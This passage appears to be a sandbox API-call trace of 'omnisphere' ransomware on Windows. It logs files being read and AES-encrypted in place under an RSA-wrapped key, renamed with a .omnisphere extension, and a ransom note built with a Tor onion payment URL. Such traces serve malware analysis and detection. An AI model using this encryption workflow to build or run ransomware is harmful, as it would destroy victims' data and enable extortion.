ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0xc9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0115.057] GetProcessHeap () returned 0x1600000 [0115.057] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166b0b8 [0115.057] PathCombineW (in: pszDest=0x166b0b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0115.057] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0115.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.058] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=148) returned 1 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.058] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] GetTickCount () returned 0x115cc64 [0115.059] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0115.062] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639628) returned 1 [0115.062] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0115.063] CryptDestroyKey (hKey=0x1639628) returned 1 [0115.063] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0115.063] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x94, lpName=0x0) returned 0x288 [0115.063] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x94) returned 0x1480000 [0115.063] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16682c8) returned 1 [0115.064] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0115.064] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0115.064] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0115.064] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.064] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.065] CryptDestroyKey (hKey=0x1639b68) returned 1 [0115.065] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0115.065] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x94, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0115.065] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0115.066] GetProcessHeap () returned 0x1600000 [0115.066] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c8) returned 0x16875e0 [0115.066] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.omnisphere")) returned 1 [0115.067] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.omnisphere.id" [0115.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.068] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0115.069] CloseHandle (hObject=0x3c0) returned 1 [0115.070] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0115.070] CloseHandle (hObject=0x288) returned 1 [0115.070] SetEndOfFile (hFile=0x28c) returned 1 [0115.071] FlushFileBuffers (hFile=0x28c) returned 1 [0115.075] CloseHandle (hObject=0x28c) returned 1 [0115.075] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 1 [0115.075] GetProcessHeap () returned 0x1600000 [0115.075] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16878b0 [0115.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.075] GetProcessHeap () returned 0x1600000 [0115.075] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f0f8 [0115.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f0f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.075] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.075] GetProcessHeap () returned 0x1600000 [0115.075] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x163aab0 [0115.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x163aab0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.075] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.075] GetProcessHeap () returned 0x1600000 [0115.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x16240d8 [0115.076] PathCombineW (in: pszDest=0x16240d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" [0115.076] GetProcessHeap () returned 0x1600000 [0115.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1681ec0 [0115.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.076] WriteFile (in: hFile=0x28c, lpBuffer=0x1681ec0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1681ec0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0115.077] CloseHandle (hObject=0x28c) returned 1 [0115.078] GetProcessHeap () returned 0x1600000 [0115.078] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16878b0 | out: hHeap=0x1600000) returned 1 [0115.078] GetProcessHeap () returned 0x1600000 [0115.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c2b8 [0115.078] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" [0115.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.078] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0115.080] CloseHandle (hObject=0x28c) returned 1 [0115.080] GetProcessHeap () returned 0x1600000 [0115.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0115.080] GetProcessHeap () returned 0x1600000 [0115.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166b0b8 | out: hHeap=0x1600000) returned 1 [0115.080] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c6308a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc4114d32, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x932, dwReserved0=0x0, dwReserved1=0xc9, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0115.080] GetProcessHeap () returned 0x1600000 [0115.080] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162bdd8 [0115.080] PathCombineW (in: pszDest=0x162bdd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="Google Chrome.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" [0115.080] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0115.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.081] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=2354) returned 1 [0115.081] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x40e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0115.081] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0115.083] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x932, lpName=0x0) returned 0x288 [0115.083] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0115.083] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0115.083] CloseHandle (hObject=0x288) returned 1 [0115.083] GetTickCount () returned 0x115cc74 [0115.083] GetTickCount () returned 0x115cc74 [0115.083] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] GetTickCount () returned 0x115cc74 [0115.084] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16689b0) returned 1 [0115.085] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639528) returned 1 [0115.085] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0115.085] CryptDestroyKey (hKey=0x1639528) returned 1 [0115.085] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0115.085] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x932, lpName=0x0) returned 0x288 [0115.086] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x932) returned 0x1480000 [0115.086] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0115.086] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0115.087] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.087] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 